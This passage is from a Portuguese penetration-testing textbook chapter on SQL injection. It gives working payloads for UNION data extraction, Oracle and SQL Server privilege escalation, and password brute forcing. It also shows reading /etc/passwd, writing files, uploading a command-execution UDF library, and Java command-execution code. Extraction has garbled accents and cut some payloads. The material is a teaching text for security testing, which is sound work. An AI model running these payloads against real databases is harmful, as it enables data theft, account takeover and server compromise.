rigir o problema, o vetor de teste original deve ser substitudo por abc) or 1=1)--. O aluno
pode se perguntar, nesse momento, como saber exatamente quantos parnteses colocar
Captulo 6 - Injeo de SQL
e em quais lugares. Dependendo da situao, isso pode ser realmente difcil de resolver e,
assim, outras tcnicas, discutidas adiante, devem ser empregadas.
Finalmente, segundo Stuttard e Pinto (2007), um erro muito comum, cometido na mon- q
tagem dos vetores de teste, consiste em se esquecer de aplicar codificao para URL a
todos os caracteres, da parte de dados, que tm sentido especial em requisies HTTP.
243
substituir espaos na segunda parte desses elementos. Note que a codificao deve ocorrer
sempre que os parmetros forem manipulados manualmente na barra de endereos ou em
uma requisio interceptada, mas nunca na tela de um formulrio. Nesse caso, o navegador
web j realiza a codificao automaticamente, antes de realizar a submisso.
Com a tcnica utilizada at ento no possvel extrair dados de outras tabelas, pois a inje-
o limita-se a alterar a semntica da clusula WHERE.
Para incluir linhas no resultado da pesquisa original, a partir de outra fonte de dados, q
deve-se ir alm, e o mtodo que permite alcanar esse objetivo consiste no uso do ope-
rador UNION ou UNION ALL.
UNION [ALL]
UNION [ALL]
...
Vamos supor que, por meio da explorao de outra vulnerabilidade, obteve-se a descrio Figura 6.13
de todas as tabelas do banco de dados, e que se deseja listar o contedo da tabela chamada Resultado da inje-
o or 1=1--.
244
books, cujas colunas so id, author e title. Para extrair as informaes desejadas, pode-se
submeter o termo de busca abaixo, obtendo-se o resultado ilustrado na Figura 6.14.
or 1=1 union select id, author, title from books order by 2--
Como razovel esperar que a vulnerabilidade seja explorada para extrair dados de inme-
ras outras tabelas, possvel eliminar as linhas da tabela original, forando uma expresso
sempre falsa na clusula WHERE:
and 1=2 union select id, author, title from books order by 2--
Considere-se, por exemplo, que a submisso de union select null# resulte na mensagem
de erro apresentada na Figura 6.15.
Figura 6.15 Uma vez que a injeo no foi bem-sucedida, o processo deve continuar:
Erro gerado por
injeo do
operador UNION. union select null,null#
Captulo 6 - Injeo de SQL
245
Com o ltimo vetor de teste, isto , com seis colunas, a mensagem de erro d lugar
listagem de artigos mostrada na Figura 6.16, o que implica um nmero correto de colunas.
Percebe-se, com facilidade, que o total de testes realizado sempre igual quantidade de
colunas do SELECT. Observe, tambm, que cada tentativa incorreta gera uma entrada no
arquivo de trilha de auditoria da aplicao, e, por isso, o mtodo pode ser bastante ruidoso
se o nmero de colunas for muito grande.
q
Figura 6.16
O segundo mtodo de teste consiste em substituir o UNION por ORDER BY e proceder de Resultado quando
a injeo de UNION
maneira similar, aumentando o nmero da coluna a cada iterao. A principal diferena feita com o
que o banco de dados somente gera um erro quando a coluna especificada no existe. nmero correto de
colunas.
Desse modo, o processo deve ser repetido, at que algum problema ocorra, e, no caso da
aplicao anterior, os seguintes vetores podem ser submetidos:
order by 1#
order by 2#
order by 3#
order by 4#
order by 5#
order by 6#
order by 7#
1 Somente um evento registrado na trilha de auditoria de erros, uma vez que todas as
submisses, excetuando-se a ltima, ocorrem com sucesso.
Para realizar o UNION com outras tabelas ou vises, o prximo passo resume-se em q
determinar o tipo de cada uma das colunas teis da consulta. Essa tarefa bem simples
e pode ser realizada com a submisso, via UNION, de colunas definidas com o valor
NULL, exceto aquela que se deseja testar, que deve conter uma cadeia de caracteres.
246
Para pensar
Se ocorrer um erro, infere-se que a coluna uma data ou um nmero, se no, ela compat-
vel com valores textuais. Do ponto de vista prtico, esses so os tipos de colunas interessan-
tes para extrao de informaes, pois qualquer tipo pode ser convertido para uma cadeia
de caracteres.
De modo geral, os bancos de dados possuem funcionalidades que permitem recuperar, por
meio de consultas SQL, inmeras informaes, incluindo a verso instalada do software, o
usurio corrente, o nome do banco de dados, os objetos existentes, os privilgios concedi-
dos e as estatsticas de uso. A Figura 6.17 sumariza os mtodos diretos que podem ser
empregados, em diversos bancos de dados, para obteno de algumas dessas informaes.
Em todos os casos, supe-se que a tcnica de extrao por meio de UNION possvel, o que
facilita a realizao da tarefa.
Oracle select banner from select username from select name from
Figura 6.17 v$version v$session v$database
Mtodos para
recuperao de
PostgreSQL version() user current_database()
informaes sobre
SQL Server @@version system_user db_name()
o banco de dados.
247
Os seguintes vetores de teste so exemplos do que submeter, dependendo do tipo de servi-
dor de banco de dados:
Figura 6.19
Extrao de verso
Teste de Invaso de Aplicaes Web
do Oracle.
Figura 6.20
Extrao de verso
do PostgreSQL.
248
Figura 6.21 Algumas ferramentas podem ser utilizadas no processo de identificao de servidores, mas,
Extrao de verso dada a simplicidade do teste, muitas vezes mais vantajoso realiz-lo manualmente. Uma
do SQL Server.
abordagem recorrer a elas somente se todos os testes expostos falharem, pois, s vezes,
ocorre de a verificao automatizada ser mais demorada que a manual.
Um exemplo desse tipo de utilitrio, que realiza outros testes muito mais interessantes,
o sqlmap, escrito em Python e distribudo sob licena GPLv2 (Guimares e Stampar, 2011).
Entre as principais caractersticas esto: suporte a diversos SGBDs, utilizao das princi-
pais tcnicas de injeo de SQL, enumerao e extrao de tabelas inteiras, suspenso e
retomada de teste, interao com o sistema operacional remoto e integrao com outras
ferramentas de segurana, como Metasploit e w3af.
A Figura 6.22 ilustra a utilizao do sqlmap contra a aplicao da Figura 6.19, cujo servidor
de banco de dados foi corretamente identificado. No entanto, necessitou-se aumentar o
nvel do teste, por meio da opo --level 2, pois, na configurao inicial, a injeo de SQL no
campo do formulrio no era devidamente detectada.
...
Caso essa condio no seja satisfeita, o servidor no executa o comando e notifica o pro-
blema ocorrido, com informaes abundantes. O passo inicial, ento, consiste na submisso
do vetor having 1=1--, que resulta na mensagem mostrada na Figura 6.23. Note que o
texto revela a existncia da coluna title, pertencente tabela chamada papers.
249
O prximo vetor deve suprir a coluna recm-descoberta em uma clusula GROUP BY: Figura 6.23
Erro causado pela
injeo de having
group by papers.title having 1=1-- 1=1--.
Com esse ltimo vetor, a consulta realizada com sucesso, o que permite concluir que o
SELECT executado contm as colunas id, author e title, pertencentes tabela papers.
Exerccio de fixao 2 e
Enumerao de tabelas via injeo de SQL
Como possvel enumerar tabelas e respectivas colunas de um banco de dados, por meio
de injeo de SQL?
Teste de Invaso de Aplicaes Web
Escalada de privilgios
Embora seja muito comum encontrar aplicaes que acessam o banco de dados com uma
conta administrativa, felizmente h sistemas que respeitam o princpio de mnimos privilgios.
250
Oracle
De todos os bancos de dados abordados neste captulo, Oracle um dos mais compli- q
cados de explorar por meio de injeo de SQL. Uma das razes disso consiste na falta de
suporte a comandos empilhados, o que implica que todo o contedo de explorao deve
ser inserido em expresses.
Essa linguagem a fornecida pelo SGBD Oracle, para a criao de rotinas, como procedi-
mentos e funes, que so armazenadas no prprio banco de dados.
FUNCTION GET_DOMAIN_INDEX_TABLES (
Captulo 6 - Injeo de SQL
INDEX_NAME IN VARCHAR2,
INDEX_SCHEMA IN VARCHAR2,
251
VERSION IN VARCHAR2,
GET_TABLES IN PLS_INTEGER)
RETURN VARCHAR2 IS
...
BEGIN
...
IF GET_TABLES = 1 THEN
...
ELSE
STMTSTRING :=
BEGIN ||
|| TYPE_SCHEMA || . || TYPE_NAME ||
.ODCIIndexUtilCleanup(:p1); ||
END;;
DBMS_SQL.BIND_VARIABLE(CRS,:p1,GETTABLENAMES_CONTEXT);
DUMMY := DBMS_SQL.EXECUTE(CRS);
DBMS_SQL.CLOSE_CURSOR(CRS);
STMTSTRING := ;
END IF;
RETURN STMTSTRING;
END GET_DOMAIN_INDEX_TABLES;
1 O parmetro GET_TABLES deve ser diferente de 1, para que o ELSE seja executado.
1 O vetor de ataque deve possuir um END;-- ao final, para balancear o BEGIN e comentar
tudo o que aparece aps TYPE_SCHEMA.
1 Deve haver um parmetro :p1 no vetor de ataque, para que o comando BIND_VARIABLE
seja executado corretamente.
252
Para exemplificar, vamos supor um SELECT injetvel, contendo uma coluna numrica e duas
textuais. O passo inicial consiste em verificar se a conta atual possui o papel Database Admi-
DBA nistrator (DBA), o que indica que j uma conta administrativa:
Profissional responsvel
pelo desenho,
and 1=2 union select 1,null,granted_role from user_role_privs--
implantao e
manuteno dos bancos
Pela falta de resultado ilustrado na Figura 6.25, conclui-se que a conta utilizada pela aplica-
de dados de uma
empresa. o comum, pois nenhuma linha foi recuperada da tabela chamada user_role_privs.
Figura 6.25 Como no foi realizada uma injeo de SQL para identificao da conta utilizada pela
Injeo de SQL aplicao, o ataque abaixo concede o papel DBA para todos os usurios, isto , para PUBLIC:
para verificao se
conta de usurio
administrativa. union select 1,null,sys.dbms_export_extension. 8
get_domain_index_tables(a,b,, DBMS_OUTPUT.PUT(:P1); 8
usurios autenticados pelo sistema operacional no precisam fornecer senha para conectar-
-se ao PostgreSQL, o que inseguro, principalmente, em ambientes compartilhados.
H diversos usos legtimos do dblink, mas ele tambm pode ser utilizado, maliciosa- q
mente, com o objetivo de escalar privilgios no banco, por meio de fora bruta ou dicio-
nrio, e de realizar varredura de redes (Leidecker, 2007).
253
pode ocorrer por vrios motivos, entre os quais esto falha de roteamento e credenciais
fornecidas invlidas.
Com base no ltimo caso, fcil elaborar um ataque para recuperao de senhas: q
basta executar uma rotina do pacote, variando a senha candidata, at que a conexo
seja efetuada.
Por exemplo, supondo um SELECT injetvel, contendo uma coluna numrica e duas textuais,
o seguinte vetor pode ser utilizado para testar a senha da conta postgres:
password=senha,select 1,\a\,\b\) 8
Se no, o SELECT especificado pelo segundo parmetro da funo dblink executado com
sucesso e o resultado adicionado ao da consulta original, conforme ilustrado na Figura 6.27.
1 Uma vez descoberta a senha da conta administrativa, qualquer comando SELECT pode
ser utilizado, permitindo a extrao de dados arbitrrios.
Teste de Invaso de Aplicaes Web
q
Resultado obtido
O SGBD SQL Server possui um comando semelhante ao dblink, o OPENROWSET, que quando as creden-
pode ser chamado, na verso 2000, por qualquer usurio do banco. Consequentemente, ciais fornecidas
so vlidas.
o mesmo tipo de ataque pode ser realizado contra aplicaes vulnerveis injeo de
SQL e baseadas nessa plataforma.
Embora o comando venha desativado por padro, nas verses 2005 em diante o ataque
continua vlido se o DBA habilit-lo para a conta utilizada por um sistema problemtico.
254
O primeiro passo para a explorao da vulnerabilidade verificar o nome da conta usada
pela aplicao e se ela possui privilgios administrativos. Isso requer o uso de uma funo
adicional, chamada de IS_SRVROLEMEMBER, que pode ser usada da seguinte maneira:
system_user,null--
O resultado da injeo est ilustrado na Figura 6.28, que permite concluir que a conta utili-
zada pela aplicao (esr) no administrativa, pois o retorno da funo foi igual a zero (vide
primeira coluna). Como se sabe, isso limita muito os tipos de explorao que podem ser
realizados, sendo, portanto, desejvel conseguir um acesso privilegiado, como o da conta sa.
Figura 6.28 O processo de fora bruta ou dicionrio, para a descoberta da senha do usurio sa, consiste
Injeo de SQL para na injeo de vetores empregando o OPENROWSET:
identificao de con-
ta de usurio e se
ela administrativa. ;select * from openrowset(SQLOLEDB,uid=sa;pwd=sa,select 1)--
Note que, nesse exemplo, considerou-se que o servidor de banco de dados executado pelo
mesmo servidor que o de aplicao, uma vez que nenhum endereo IP foi fornecido. Como
as credenciais no esto corretas, a aplicao exibe a mensagem de erro:
Repete-se o processo at que a consulta seja realizada com sucesso, quando, ento, a senha
testada a correta. No cenrio estudado, isso ocorre com a senha nula:
Figura 6.29
Injeo para ;select * from openrowset(SQLOLEDB,uid=sa;pwd=,select 1; 8
verificar se a
conta esr tornou- exec master.dbo.sp_addsrvrolemember esr,sysadmin)--
-se administrativa
aps a execuo da Se realizarmos a primeira injeo novamente, possvel observar que o ataque foi execu-
explorao. tado conforme esperado (vide Figura 6.29).
Captulo 6 - Injeo de SQL
255
Descoberta e extrao de tabelas
J vimos como o processo de extrao de dados de outras tabelas, que no a utilizada q
pelo SELECT injetvel. Entretanto, uma lacuna que ainda falta preencher consiste na des-
coberta, em primeiro lugar, da existncia dessas tabelas no banco de dados. Essa tarefa
relativamente simples e pode ser realizada por meio de consultas aos metadados do
banco, os quais so especficos para cada SGBD (Clarke, 2009).
MySQL
Os metadados do MySQL so armazenados em tabelas do esquema INFORMATION_ q
SCHEMA, a partir do qual possvel obter informaes sobre todos os objetos e privil-
gios das bases existentes no servidor. As principais tabelas relevantes para o propsito
dessa seo incluem:
1 TABLES: fornece informaes sobre tabelas nos diversos bancos de dados. Colunas
relevantes: TABLE_SCHEMA, TABLE_NAME e TABLE_ROWS.
A partir das tabelas de metadados, o passo inicial consiste na descoberta das tabelas exis-
tentes em todas as bases de dados gerenciadas pelo servidor MySQL:
information_schema order by 3#
Uma das tabelas descobertas, que pode conter informaes interessantes, a tabela users, Figura 6.30
criada no esquema dvwa. Para determinar as colunas que a compem, o seguinte vetor Tabelas enumera-
das por meio de
pode ser fornecido: injeo de SQL.
256
and 1=2 union select null,null,column_name,null,data_type,null 8
table_name=users#
Figura 6.31 A etapa final da explorao resume-se na extrao dos dados da tabela dvwa.users:
Colunas da tabela
dvwa.users e
respectivos tipos, and 1=2 union select user_id,null,concat(user,:,avatar),null, 8
descobertos por
injeo de SQL. password,null from dvwa.users#
257
Para exemplificar, observe o processo de extrao de uma nica tabela, cujo passo inicial
consiste na descoberta de todas as tabelas acessveis pela conta da aplicao:
Algumas das tabelas enumeradas, por meio da injeo acima, encontram-se na Figura 6.33.
Considere que a tabela SCOTT.EMP foi escolhida como alvo. Antes de realizar a extrao dos Figura 6.33
dados, necessrio determinar os nomes das colunas: Tabelas enumera-
das por meio de
injeo de SQL.
and 1=2 union select data_length,column_name,data_type from 8
Com todas as informaes j levantadas, fica fcil elaborar o vetor para recuperao das Figura 6.34
informaes desejadas (vide Figura 6.35): Colunas da tabela
SCOTT.EMP e
respectivos tipos,
and 1=2 union select sal,ename,job from scott.emp-- descobertos por
injeo de SQL.
Teste de Invaso de Aplicaes Web
258
Figura 6.35 PostgreSQL
q
Contedo da tabela
SCOTT.TIGER, ex- O SGBD PostgreSQL divide cada banco de dados em esquemas e estes em tabelas e demais
trado por meio de objetos. Cada banco possui seu prprio dicionrio de dados, armazenado, tambm, como
injeo de SQL.
um esquema, que recebe o nome de information_schema. Apesar dessa separao,
possvel acessar o dicionrio de outros bancos, fornecendo o caminho completo, conforme
a notao <banco de dados>.information_schema. A lista abaixo contempla algumas das
tabelas e vises do dicionrio, que so teis para enumerao de objetos:
SQL Server
Metadados em SQL Server so armazenados em tabelas especiais, conhecidas como q
tabelas de sistema, de modo que cada banco de dados possui um conjunto separado delas.
A partir de uma nica conexo, possvel acessar todos os conjuntos, bastando para isso
especificar o banco do qual se deseja colher informaes. Isso feito por meio de uma refe-
rncia composta por at quatro partes, segundo a sintaxe abaixo:
259
nome_do_servidor.[nome_do_banco].[nome_do_esquema].nome_do_objeto
|
nome_do_banco.[nome_do_esquema].nome_do_objeto |
nome_do_esquema.nome_do_objeto |
nome_do_objeto
1 sysobjects: essa tabela contm uma linha para cada objeto do banco de dados, inclu-
sive tabelas e rotinas armazenadas. Colunas relevantes: ID, NAME e XTYPE (U denota
tabelas de usurio).
1 systypes: contm todos os tipos de dados definidos para o banco. Colunas rele-
vantes: NAME e XTYPE.
Considerando um cenrio similar aos explorados nesta seo, para MySQL e Oracle obtm-se
os seguintes vetores de teste:
where xtype=U--
Extrao automatizada
Quando possvel exibir o resultado da injeo de SQL na tela, o uso de uma ferramenta q
para a extrao de tabelas normalmente no necessrio. Bons resultados podem ser
alcanados por meio da tcnica baseada em UNION somada ao conhecimento sobre o
dicionrio de dados do SGBD empregado pela aplicao. Apesar dessa ressalva, caso
ainda se opte pela automatizao, um timo utilitrio para a tarefa o sqlmap, introdu-
zido anteriormente neste captulo.
260
Das inmeras opes apresentadas pela ferramenta, as pertinentes para enumerao dos
objetos do banco de dados so:
Database: master
[39 tables]
+--------------------------------------------+
| INFORMATION_SCHEMA.CHECK_CONSTRAINTS |
| INFORMATION_SCHEMA.COLUMNS |
| INFORMATION_SCHEMA.COLUMN_DOMAIN_USAGE |
| INFORMATION_SCHEMA.COLUMN_PRIVILEGES |
| INFORMATION_SCHEMA.CONSTRAINT_COLUMN_USAGE |
| INFORMATION_SCHEMA.CONSTRAINT_TABLE_USAGE |
| INFORMATION_SCHEMA.DOMAINS |
| INFORMATION_SCHEMA.DOMAIN_CONSTRAINTS |
...
| dbo.MSreplication_options |
| dbo.dtproperties |
| dbo.papers |
| dbo.secret_table |
Captulo 6 - Injeo de SQL
| dbo.spt_datatype_info |
| dbo.spt_datatype_info_ext |
Figura 6.36
Enumerao de | dbo.spt_fallback_dev |
tabelas, com auxlio
do sqlmap. ...
261
Partindo do resultado anterior, o prximo passo consiste na extrao do contedo de uma
ou mais tabelas, o que realizado por meio do comando ilustrado na Figura 6.37.
secret_table
...
Database: master
Table: dbo.secret_table
[3 entries]
+--------------------+--------------+
| text | value |
+--------------------+--------------+
Manipulao de arquivos
Cada sistema gerenciador de banco de dados, normalmente, possui um conjunto de q
rotinas embutidas que permitem interagir com o sistema de arquivos e podem ser cha-
madas como parte de um comando SQL.
Desse modo, por meio de injeo de SQL, possvel gravar arquivos arbitrrios no servidor,
em todos os diretrios que o SGBD possui permisso para escrita, assim como extrair arqui-
vos que possam ser lidos por ele. Tais funcionalidades permitem que defeitos na aplicao
possam ser empregados para comprometer a plataforma de banco de dados utilizada.
MySQL
H dois mtodos fornecidos pelo SGBD MySQL, para leitura de arquivos, e a escolha de q
qual utilizar em um ataque depende do mtodo de extrao a ser utilizado (Clarke, 2009;
Anley, 2004; Stuttard e Pinto, 2007):
tabela indicada. til quando o resultado da consulta no pode ser exibido na tela,
mas comandos empilhados devem ser suportados, para ser utilizado.
Por exemplo, para extrair o contedo do arquivo /etc/passwd, o seguinte vetor pode ser
injetado na aplicao vulnervel que vimos usando de exemplo:
262
and 1=2 union select null,null,load_file(/etc/passwd),null, 8
null,null#
Figura 6.38 Caso o MySQL seja hospedado juntamente com o servidor web, o que no recomendado do
Extrao do ponto de vista de segurana, um arquivo interessante de se obter o httpd.conf (ou anlogo),
contedo do
arquivo porque ele contm diversos detalhes de configurao que podem auxiliar no teste de invaso.
/etc/passwd.
Uma pergunta que pode surgir para o aluno como extrair dados binrios usando a pre-
sente tcnica, uma vez que esse tipo de arquivo pode conter caracteres no imprimveis.
A soluo para superar essa dificuldade simples e consiste em passar o resultado de
LOAD_FILE() para a funo HEX(), que converte o argumento em uma sequncia textual de
dgitos hexadecimais. Exemplificando, a leitura de um arquivo binrio /tmp/arq.bin pode
ser feita da seguinte maneira:
null,null,null#
A contraparte do SGBD MySQL, para escrita de arquivos, uma extenso da sintaxe ori- q
ginal do SELECT, a qual utiliza clusulas diferentes para arquivos de texto e para binrios:
263
Ao realizar a injeo com esses comandos, importante observar que, caso o SELECT injetvel
selecione mais de uma coluna, a verso binria deve ser empregada para evitar a adio de
bytes indesejados. Nesse cenrio, todo o contedo do arquivo, codificado em hexadecimal,
deve ser includo em uma nica coluna, enquanto que as demais colunas devem ser especifi-
cadas como cadeia vazia (). Caso esta seja trocada por NULL para cada uma das ocorrncias,
um byte com valor zero gravado no arquivo destino. Obviamente, isso altera o formato do
arquivo original, tornando-o invlido, dependendo da situao em que for usado.
Uma ressalva final que a operao resulta em erro sempre que o arquivo especificado j q
existir ou se a conta do MySQL no possuir permisso de escrita no diretrio informado.
Para exemplificar, supondo que se deseja gravar no servidor um arquivo binrio, contendo
os bytes {0x05, 0xf4, 0x03}, com o nome tst.bin, no diretrio /tmp, o seguinte vetor pode ser
injetado na aplicao vulnervel:
/tmp/tst.bin#
Oracle
A interao com o sistema de arquivos, em Oracle, pode ser realizada empregando-se q
o pacote UTL_FILE ou um programa escrito em linguagem Java (Litchfield, 2007; Clarke;
2009). Em qualquer dos casos, necessrio ter disposio uma rotina em PL/SQL que
seja vulnervel injeo de SQL, como a explorada na seo de escalada de privilgios.
Como o pacote injetado tende a ser grande, nesses casos a situao ideal a criao de uma
funo, como a mostrada na Figura 6.39, que possa ser invocada de dentro de um SELECT.
RETURN VARCHAR2
AS
FILE UTL_FILE.FILE_TYPE;
LINE VARCHAR2(1000);
CONTENT VARCHAR2(32000);
BEGIN
EXECUTE IMMEDIATE
Teste de Invaso de Aplicaes Web
DECLARE
PRAGMA AUTONOMOUS_TRANSACTION;
END;;
264
FILE := UTL_FILE.FOPEN(FDIR, FILENAME, R);
IF UTL_FILE.IS_OPEN(FILE) THEN
CONTENT := ;
LOOP
BEGIN
UTL_FILE.GET_LINE(FILE, LINE);
EXCEPTION
EXIT;
END;
END LOOP;
UTL_FILE.FCLOSE(FILE);
END IF;
Figura 6.39
Funo em PL/SQL RETURN CONTENT;
para leitura de
arquivos-texto. END;
get_domain_index_tables(a,b,, q<DBMS_OUTPUT.PUT(:P1); 8
EXECUTE IMMEDIATE q| 8
VARCHAR2) 8
Captulo 6 - Injeo de SQL
RETURN VARCHAR2 8
AS 8
265
BEGIN 8
EXECUTE IMMEDIATE q{ 8
DECLARE 8
PRAGMA AUTONOMOUS_TRANSACTION; 8
BEGIN 8
|| DIRNAME || q{!; 8
END;}; 8
IF UTL_FILE.IS_OPEN(FILE) THEN 8
CONTENT := q{}; 8
LOOP 8
BEGIN 8
UTL_FILE.GET_LINE(FILE, LINE); 8
EXCEPTION 8
EXIT; 8
END; 8
END LOOP; 8
UTL_FILE.FCLOSE(FILE); 8
END IF; 8
RETURN CONTENT; 8
END; 8
|;END;];END;-->, 8
Teste de Invaso de Aplicaes Web
get_domain_index_tables(a,b,, DBMS_OUTPUT.PUT(:P1); 8
266
EXECUTE IMMEDIATE GRANT EXECUTE ON FREAD TO SYSTEM 8
;END;;END;--, 8
Feito tudo isso, fica fcil ler arquivos do servidor de banco de dados, como se v no prximo
exemplo, que extrai o arquivo /etc/passwd:
O processo de escrita de arquivos segue curso similar, sendo apenas necessrio abrir o
arquivo em modo de escrita (W) e utilizar o comando PUT ou derivados.
PostgreSQL
O comando COPY pode ser utilizado, em PostgreSQL, para leitura e escrita de arquivos q
binrios, em formato prprio do SGBD e textuais. O acesso ao sistema de arquivos est
restrito aos privilgios da conta de sistema operacional que executa o SGBD, e no h
restrio quanto sobrescrita de arquivos, diferentemente de como ocorre em MySQL.
Um ponto importante a ser observado que toda transferncia efetuada sempre entre
arquivos e tabelas do banco de dados.
Finalmente, os dados podem ser extrados por meio da tcnica baseada em UNION:
A escrita de arquivos, por sua vez, direta, bastando especificar uma tabela ou utilizar um
SELECT como fonte de dados:
No vetor acima, a clusula CSV faz com que os campos das linhas da tabela books sejam
separados por vrgula quando gravados no arquivo /tmp/out.txt.
q
Captulo 6 - Injeo de SQL
Todas essas tcnicas apresentam uma limitao, apontada pelo prprio Leidecker
(2007), que se resume na impossibilidade de manipular arquivos binrios com formato
arbitrrio. Uma soluo para esse problema foi introduzida por Guimares (2009) e se
baseia nas funcionalidades de manipulao de objetos grandes.
Embora esse novo mtodo represente um grande avano em relao aos anteriores, o tama-
nho mximo de arquivo que pode ser copiado para o servidor de apenas 8192 bytes.
267
De acordo com o roteiro descrito por Guimares (2009), a etapa inicial consiste na codifica-
o em BASE64 do arquivo a ser copiado. Considere, por exemplo, que este se chame lib.so:
Em seguida, uma tabela auxiliar deve ser criada, contendo um campo do tipo text:
f0VMRgEBAQAAAAAAAAAAAAMAAwABAAAAcAgAADQAAAAUEAAAAAAAADQAIAAFACgAGQ 8
AYAAEAAAAAAAAAAAAAAAAAAAAYDgAAGA4AAAUAAAAAEAAAAQAAABgOAAAYHgAAGB4AA 8
AABAAAIAQAABgAAAAAQAAACAAAAMA4AADAeAAAwHgAAyAAAAMgAAAAGAAAABAAAAAQA 8
...
MEAAAAIAAAAAwAAABgfAAAYDwAACAAAAAAAAAAAAAAABAAAAAAAAADGAAAAAQAAADAA 8
AAAAAAAAGA8AACwAAAAAAAAAAAAAAAEAAAABAAAAAQAAAAMAAAAAAAAAAAAAAEQPAAD
8
PAAAAAAAAAAAAAAABAAAAAAAAAA==)--
; select lo_create(1000)--
Agora, o objeto deve ter a parte de dados atualizada, com os bytes originais do arquivo
sendo copiados para o servidor. Isso feito manipulando a linha da tabela pg_largeobject,
cujo loid seja igual ao identificador escolhido no passo anterior:
Por fim, o arquivo pode ser criado no servidor por meio da funo lo_export():
; select lo_export(1000,/tmp/lib.so)--
q
Universal Naming
Teste de Invaso de Aplicaes Web
A leitura de arquivos em SQL Server realizada de maneira similar suportada pelo SGBD Convention. Define
o formato de nomes,
PostgreSQL, mas o comando BULK INSERT utilizado no lugar. A transferncia tambm
para acesso a recursos
depende de uma tabela, e a fonte de dados pode ser local ao prprio servidor ou remota, disponibilizados em
especificada por um UNC, no formato \\servidor\compartilhamento\caminho\arquivo. uma rede local.
Diversas opes so fornecidas pelo comando por meio da clusula WITH para descrever o
formato do arquivo de entrada, e, se nenhum deles for empregado, os valores padronizados
so assumidos. Exemplos de opes incluem delimitadores de campos e de fim de linha.
268
; create table tmp (data varchar(8000))--
Assim, para invoc-lo de dentro do SGBD, deve-se utilizar o procedimento estendido xp_
cmdshell, que permite executar programas arbitrrios. Como esse o tema de uma seo
adiante, por ora, vejamos apenas exemplos de uso a partir do sistema operacional:
c:\temp\tst.txt -c -Usa -P
Starting copy...
3 rows copied.
No caso acima, a fonte de dados um comando SELECT, que deve sempre ser acompanhado
da opo queryout. O arquivo de destino especificado em seguida juntamente com a
opo -c, que indica que os dados devem ser tratados como caracteres. Finalmente, as cre-
denciais devem ser informadas pelas opes -U e -P.
Captulo 6 - Injeo de SQL
Quando todas as linhas da tabela so exportadas, sem exceo, mais fcil utilizar a
segunda sintaxe, abaixo mostrada:
Starting copy...
269
3 rows copied.
O exemplo dado a seguir, distribudo como software livre, por meio de licena GPL Lesser
General Public License, obra de Bernardo Damele Guimares, criador do sqlmap, e de
Roland Bouman. O cdigo deles, apresentado parcialmente na Figura 6.41, estende a biblio-
teca lib_mysqludf_sys, parte do repositrio do MySQL, e adiciona ao todo seis funes,
incluindo sys_exec() e sys_eval(), para execuo de comandos do sistema operacional.
A biblioteca pode ser compilada para ambientes Windows e Linux, tendo em mente que os
cabealhos e bibliotecas do MySQL precisam estar instalados.
Teste de Invaso de Aplicaes Web
270
...
char* sys_eval(
UDF_INIT *initid
, UDF_ARGS *args
, char* result
, char *is_null
, char *error
){
FILE *pipe;
char *line;
outlen = 0;
result[0] = (char)0;
linelen = strlen(line);
}
Captulo 6 - Injeo de SQL
Figura 6.41
Cdigo-fonte da
funo sys_eval(), pclose(pipe);
que estende a
funcionalidade do
MySQL, permitin-
do execuo de if (!(*result) || result == NULL) {
programas de linha
de comando. *is_null = 1;
271
} else {
result[outlen-1] = 0x00;
*length = strlen(result);
return result;
...
-o lib_mysqludf_sys.so
Em seguida, o comando strip deve ser executado para a remoo dos smbolos e conse-
quente reduo do tamanho da biblioteca. O objetivo facilitar o envio para o servidor de
banco de dados, por meio da injeo de SQL (Guimares, 2009).
A prxima etapa determinar o diretrio em que a biblioteca deve ser gravada no servidor
de banco de dados. Supondo que a verso instalada de MySQL seja a 5.1.56, como j vimos,
isso definido pelo valor do parmetro de inicializao plugin_dir. Este pode ser obtido a
partir do dicionrio de dados, por meio da seguinte injeo de SQL:
Que resulta no valor /usr/lib/mysql/plugin. Por padro, esse diretrio no pode ser escrito
por todos os usurios e, assim, para o ataque funcionar, necessrio escalar os privilgios
da conta de sistema operacional utilizada pelo MySQL. Para a realizao dessa prova de con-
ceito, entretanto, os privilgios necessrios foram diretamente concedidos conta mysql.
A gravao do arquivo no servidor emprega o comando SELECT ... INTO DUMPFILE, visto
Teste de Invaso de Aplicaes Web
anteriormente. Observe que, por se tratar de um arquivo binrio, a biblioteca deve ser
codificada como uma cadeia de valores hexadecimais antes de ser transferida. Isso pode ser
realizado, facilmente, com auxlio dos utilitrios xxd e tr, para Linux. Enquanto o primeiro
cuida do processo de codificao, o ltimo remove os caracteres de fim de linha, gerados
pelo programa xxd:
272
Em seguida, a partir do arquivo gerado, out.hex, deve-se construir o vetor de injeo:
0x7f454c4601010100000000000000000003000300010000007008000034000000141 8
000000000000034002000050028001900180001000000000000000000000000000000 8
180e0000180e0000050000000010000001000000180e0000181e0000181e000000010 8
00008010000060000000010000002000000300e0000301e0000301e0000c8000000c8 8
...
00f80e00000c00000000000000000000000400000004000000b800000001000000030 8
00000041f0000040f00001400000000000000000000000400000004000000c1000000 8
0800000003000000181f0000180f00000800000000000000000000000400000000000 8
000c6000000010000003000000000000000180f00002c000000000000000000000001 8
0000000100000001000000030000000000000000000000440f0000cf0000000000000 8
; 8
lib_mysqludf_sys.so; 8
Percebe-se que esse passo requer o suporte a comandos empilhados, o que no to fcil
de encontrar nos sistemas em produo baseados em MySQL.
Finalizando, o exemplo abaixo ilustra a execuo do comando ping contra a mquina com
endereo IP 192.168.213.10, por meio de uma chamada a sys_eval(), via injeo de SQL:
Captulo 6 - Injeo de SQL
null,null#
273
Oracle
Em Oracle, possvel criar funes definidas por usurio nas linguagens PL/SQL e Java, q
sendo um exemplo da primeira a rotina que vimos para a leitura de arquivos. Nessa
seo, para cobrir todas as possibilidades, uma funo em Java que executa comandos
no sistema operacional apresentada na Figura 6.42. Assim como no caso anterior,
necessrio injetar todo o cdigo explorando uma rotina vulnervel, escrita em PL/SQL,
sem a qual o ataque no funciona.
import java.lang.*;
import java.io.*;
String line = ;
Process p = Runtime.getRuntime().exec(command);
sb.append(line + \n);
dis.close();
return sb.toString();
Figura 6.42
} Cdigo-fonte Java
de funo para exe-
} cuo de comandos
em Oracle.
A criao da classe Java JCMD representa apenas parte da tarefa, restando, ainda, a criao
Teste de Invaso de Aplicaes Web
RETURN VARCHAR2
AS LANGUAGE JAVA
274
GRANT EXECUTE ON JCMDF TO PUBLIC;
A funo REPLACE utilizada acima para incluir as quebras de linha no HTML gerado, e o
resultado da injeo est ilustrado na Figura 6.43.
Nas verses anteriores a 8.1, inclusive, era possvel definir funes que utilizavam bibliote-
cas nativas do sistema operacional, como a libc. A partir da verso 8.2, isso no mais poss-
